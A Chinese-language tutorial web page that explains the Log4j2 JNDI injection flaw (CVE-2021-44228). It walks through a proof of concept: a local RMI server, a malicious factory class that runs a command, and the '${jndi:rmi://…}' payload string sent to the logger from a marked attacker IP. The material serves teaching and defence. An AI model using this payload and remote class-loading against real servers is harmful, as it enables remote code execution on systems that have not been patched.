2025年4月5日 星期六 乙巳(蛇)年 正月初六 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 安全防护

CVE-2021-44228:Apache Log4j2 JNDI注入漏洞

时间:10-15来源:作者:点击数:37

Log4j是Apache软件基金会下的一个开源项目,通过使用log4j可以打印程序日志输出信息到控制台,文件等各种地方。简单来说,它是一个用于记录日志的Java第三方库,而且使用量非常广泛。

在2021年12月9日,Log4j2爆出极其严重的漏洞,攻击者只需要构造恶意数据植入日志记录中,就可以导致任意代码执行,危害极大,利用门槛极低。

Log4j2漏洞形成原理

Log4j2中提供了一种叫lookups的功能,这个功能很强大,可以把 {} 部分进行替换

  • public class Main {
  • private static final Logger logger = LogManager.getLogger();
  • public static void main(String[] args) {
  • String content = "world";
  • logger.trace("hello {}",content);
  • //https://logging.apache.org/log4j/2.x/manual/lookups.html
  • String content2 = "${java:os}";
  • logger.trace("hello {}",content2);
  • String content3 = "${java:vm}";
  • logger.trace("hello {}",content3);
  • }
  • }

打印结果:

  • 2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
  • 2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
  • 2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)

这还不要紧,它还支持 JNDI lookup 就很要命了

本地启动一个JNDI服务看看

  • public class SimpleJndiServer {
  • public static void main(String[] args) {
  • try {
  • Registry registry = LocateRegistry.createRegistry(1099);
  • System.out.println("create rmi 1099");
  • Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
  • ReferenceWrapper wrapper = new ReferenceWrapper(reference);
  • registry.bind("demo", wrapper);
  • } catch (RemoteException | NamingException | AlreadyBoundException e) {
  • e.printStackTrace();
  • }
  • }
  • }
  • public class JndiObj implements ObjectFactory {
  • static {
  • System.out.println("this is JndiObj,i'm here!");
  • try {
  • //打开远程链接
  • Runtime.getRuntime().exec("mstsc");
  • } catch (IOException e) {
  • e.printStackTrace();
  • }
  • }
  • private String name;
  • public String getName() {
  • return name;
  • }
  • public void setName(String name) {
  • this.name = name;
  • }
  • @Override
  • public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  • return new JndiObj();
  • }
  • @Override
  • public String toString() {
  • return "JndiObj{" +
  • "name='" + name + '\'' +
  • '}';
  • }
  • }

写入日志:

  • public class Main {
  • private static final Logger logger = LogManager.getLogger();
  • public static void main(String[] args) {
  • //JNDI注入参考链接
  • //https://blog.csdn.net/caiqiiqi/article/details/105976072
  • //192.168.31.13为客户端ip(攻击者ip),不是服务ip
  • System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  • String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
  • logger.trace("hello {}",content4);
  • }
  • }

可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。会弹出一个远程连接的命令。

整理利用流程:${jndi:rmi://192.168.31.13:1099/demo}被打印到日志中,会被lookup会对其进行解析,并替换解析后的值,插入到记录语句中。

很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo},那后果真的是不堪设想

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门